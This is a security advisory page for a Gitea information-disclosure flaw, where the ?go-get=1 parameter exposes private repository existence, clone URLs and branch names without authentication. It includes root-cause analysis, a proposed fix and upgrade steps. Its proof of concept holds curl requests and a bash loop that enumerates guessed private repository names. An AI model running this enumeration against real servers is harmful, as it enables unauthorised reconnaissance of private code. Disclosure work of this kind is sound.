Skip to content

GHSA-p4mj-98mv-xq26 CVE-2026-58507 GO-2026-6066

Gitea: Private Repository Existence Disclosure via go-get Meta Endpoint

Medium Go
Severity
5.3 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.38%
Chance of exploitation in the next 30 days. Higher than 32.51% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
CWE-284 Improper Access Control
Fix
Available
2 packages have a fixed version

Description

Field Value
Affected File routers/web/repo/githttp.go, services/context/repo.go
Affected Functions httpBase(), EarlyResponseForGoGetMeta()
Affected Lines githttp.go:63–66, services/context/repo.go:374–396
Prerequisite None — fully unauthenticated

Description

Gitea implements a special behavior for requests containing the ?go-get=1 query parameter. This parameter is sent by the Go toolchain (go get, go install) to discover VCS metadata for module imports. When Gitea detects this parameter in the HTTP request path for a repository, it bypasses the normal authentication and authorization stack and returns an HTTP 200 response containing <meta name="go-import"> and <meta name="go-source"> tags — regardless of whether:

  • The repository is private
  • The requesting user is authenticated
  • The requesting user has any permission on the repository

The entry point is routers/web/repo/githttp.go:63–66:

func httpBase(ctx *context.Context, optGitService ...string) *serviceHandler {
    reponame := strings.TrimSuffix(ctx.PathParam("reponame"), ".git")

    if ctx.FormString("go-get") == "1" {
        context.EarlyResponseForGoGetMeta(ctx)
        return nil   // ← returns before any auth or permission check
    }
    ...

The EarlyResponseForGoGetMeta function (services/context/repo.go:379–396) is called unconditionally, and the function's own docstring documents the intended behavior:

// EarlyResponseForGoGetMeta responses appropriate go-get meta with status 200
// if user does not have actual access to the requested repository,
// or the owner or repository does not exist at all.
// This is particular a workaround for "go get" command which does not respect
// .netrc file.
func EarlyResponseForGoGetMeta(ctx *Context) {
    username := ctx.PathParam("username")
    reponame := strings.TrimSuffix(ctx.PathParam("reponame"), ".git")
    ...
    ctx.PlainText(http.StatusOK, htmlMeta)   // ← HTTP 200, no auth check
}

The function also appears at services/context/repo.go:444, 516, 571 — all repository-scoped route handlers that check ?go-get=1 and call EarlyResponseForGoGetMeta before performing any permission verification.

The metadata returned includes:

  1. The full repository name and owner — confirming the repository exists
  2. The HTTP clone URL — a fully-formed URL pointing to the repository
  3. The source browsing URL templates — which may reveal the default branch name

This allows an unauthenticated attacker to:

  1. Confirm existence of any private repository by name
  2. Enumerate private repository names through brute-force without triggering authentication failures
  3. Harvest clone URLs and default branch names of private repositories

Proof of Concept

Step 1 — Identify a private repository

Any private repository works. For this demonstration, admin/classified-internal is set to private:


Step 2 — Confirm access is denied without authentication

Standard requests to a private repository correctly return 404 for unauthenticated users.


Step 3 — Bypass using go-get parameter

curl -s "http://localhost:3000/admin/classified-internal?go-get=1"

Actual response (HTTP 200):

<!doctype html>
<html>
    <head>
        <meta name="go-import"
              content="localhost:3000/admin/classified-internal
                       git
                       http://localhost:3000/admin/classified-internal.git">
        <meta name="go-source"
              content="localhost:3000/admin/classified-internal
                       _
                       http://localhost:3000/admin/classified-internal/src/branch/main{/dir}
                       http://localhost:3000/admin/classified-internal/src/branch/main{/dir}/{file}#L{line}">
    </head>
    <body>
        go get --insecure localhost:3000/admin/classified-internal
    </body>
</html>

The response:

  • Returns HTTP 200 (not 404) — confirming the repository exists
  • Reveals the full clone URL: http://localhost:3000/admin/classified-internal.git
  • Reveals the default branch name: main
  • Reveals the owner username: admin

This same response is returned whether or not the repository exists — the comment in EarlyResponseForGoGetMeta states it responds identically for both — however in practice, the clone URL generated will be functionally different (a real clone attempt against a non-existent repo fails, while one against a private repo fails only at authentication). An attacker can differentiate using response timing or by attempting git ls-remote.


Step 4 — Enumerate private repositories at scale

# Enumerate private repos by guessing common names
for name in internal deploy secrets infra api-keys prod-config db-creds; do
  response=$(curl -s "http://localhost:3000/admin/${name}?go-get=1")
  if echo "$response" | grep -q "go-import"; then
    clone_url=$(echo "$response" | grep -oP 'git http://\K[^ "]+')
    echo "[FOUND] admin/${name} → clone: http://${clone_url}"
  fi
done

Step 5 — Verify the same applies to the main web router

The vulnerability also exists via the standard web router for repository pages:

# Works on any repo-scoped URL
curl -s "http://localhost:3000/admin/classified-internal/releases?go-get=1" | grep "go-import"
curl -s "http://localhost:3000/admin/classified-internal/issues?go-get=1"   | grep "go-import"

All return HTTP 200 with the metadata.


Impact Analysis

Direct impact:

What is leaked Sensitivity
Repository exists Confirms presence of private infrastructure code, internal tooling, unreleased products
Owner / organization name Reveals organizational structure
Clone URL Provides a direct endpoint for credential-stuffing attacks against git HTTP endpoint
Default branch name Reduces brute-force surface for subsequent attacks

Root Cause Analysis

The bypass was introduced intentionally as a workaround for the Go toolchain's limitation of not reading .netrc credentials before deciding whether a module is accessible. The Go go get command probes the VCS endpoint without credentials first; if it gets a 404, it treats the module as non-existent and fails immediately without prompting for credentials.

The workaround — returning metadata unconditionally — was the path of least resistance for enabling private module imports. The unintended consequence is that it creates an unauthenticated information disclosure endpoint for every repository in the instance.


Recommended Fix

The fix requires differentiating between requests that carry authentication credentials and those that do not, before calling EarlyResponseForGoGetMeta.

// routers/web/repo/githttp.go:63–66 — proposed fix

if ctx.FormString("go-get") == "1" {
    // For public repos, always respond to support the go toolchain
    if repo != nil && !repo.IsPrivate {
        context.EarlyResponseForGoGetMeta(ctx)
        return nil
    }
    // For private repos, only respond if the user is authenticated
    // and has at least read access
    if ctx.IsSigned {
        if perm, err := access_model.GetDoerRepoPermission(ctx, repo, ctx.Doer); err == nil {
            if perm.CanRead(unit.TypeCode) {
                context.EarlyResponseForGoGetMeta(ctx)
                return nil
            }
        }
    }
    // Unauthenticated request for a private repo — return 404 consistent
    // with normal behavior; the go toolchain will prompt for credentials
    ctx.PlainText(http.StatusNotFound, "Repository not found")
    return nil
}

This approach preserves the go-get functionality for public repositories while protecting private ones. The Go toolchain will fall back to prompting for credentials when it receives a 404, which is the correct behavior for private module imports.


Affected versions

Go

PackageVulnerableFixed in
code.gitea.io/gitea
< 1.27.0
1.27.0
gitea.dev
< 1.27.0
1.27.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

code.gitea.io/gitea Go → 1.27.0

go
go get code.gitea.io/gitea@v1.27.0 && go mod tidy

gitea.dev Go → 1.27.0

go
go get gitea.dev@v1.27.0 && go mod tidy

Severity breakdown

CVSS 3.1 5.3

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

Weakness

CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

How to prevent it
  • Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

CWE-284: Improper Access Control

The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.

How to prevent it
  • Architecture and Design, Operation: Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
  • Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-rcr6-4jqh-j84m
Gitea: Remote Code Execution via diffpatch Git Hook Installation
Critical Known exploited Also affects code.gitea.io/gitea
GHSA-fq2p-5p22-8g6j
Gitea: Public-Only Personal access tokens scope bypass in Organization and Permission Endpoints
Medium Also affects code.gitea.io/gitea
GHSA-2wm4-vwp6-v7xc
Gitea: SSRF via Migration Asset Downloads Bypasses hostmatcher — Reads Internal Files and Cloud Metadata
High Also affects code.gitea.io/gitea
GHSA-3r5c-2xxx-h872
Gitea: Webhook Authorization Header Returned in Plaintext via API
Low Also affects code.gitea.io/gitea
GHSA-frpw-3h2q-4jj6
Gitea: Cross-Repo Information Disclosure via Org-Level Actions Run/Job APIs
Medium Also affects code.gitea.io/gitea
GHSA-q423-49rw-g9mh
Gitea: GHSA-8fwc-qjw5-rvgp ClearRepoWatches fix not applied to API EditRepo path — sister code path retains stale watches on public->private
Medium Also affects code.gitea.io/gitea
GHSA-h56g-4qw7-2mxg
Gitea: Public-only API token restriction is not enforced on team API routes
Medium Also affects gitea.dev
GHSA-prr9-9mp4-5gp2
Gitea: Private org member list leaked via /members API endpoint — incomplete fix for PR #38145
High Also affects gitea.dev
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor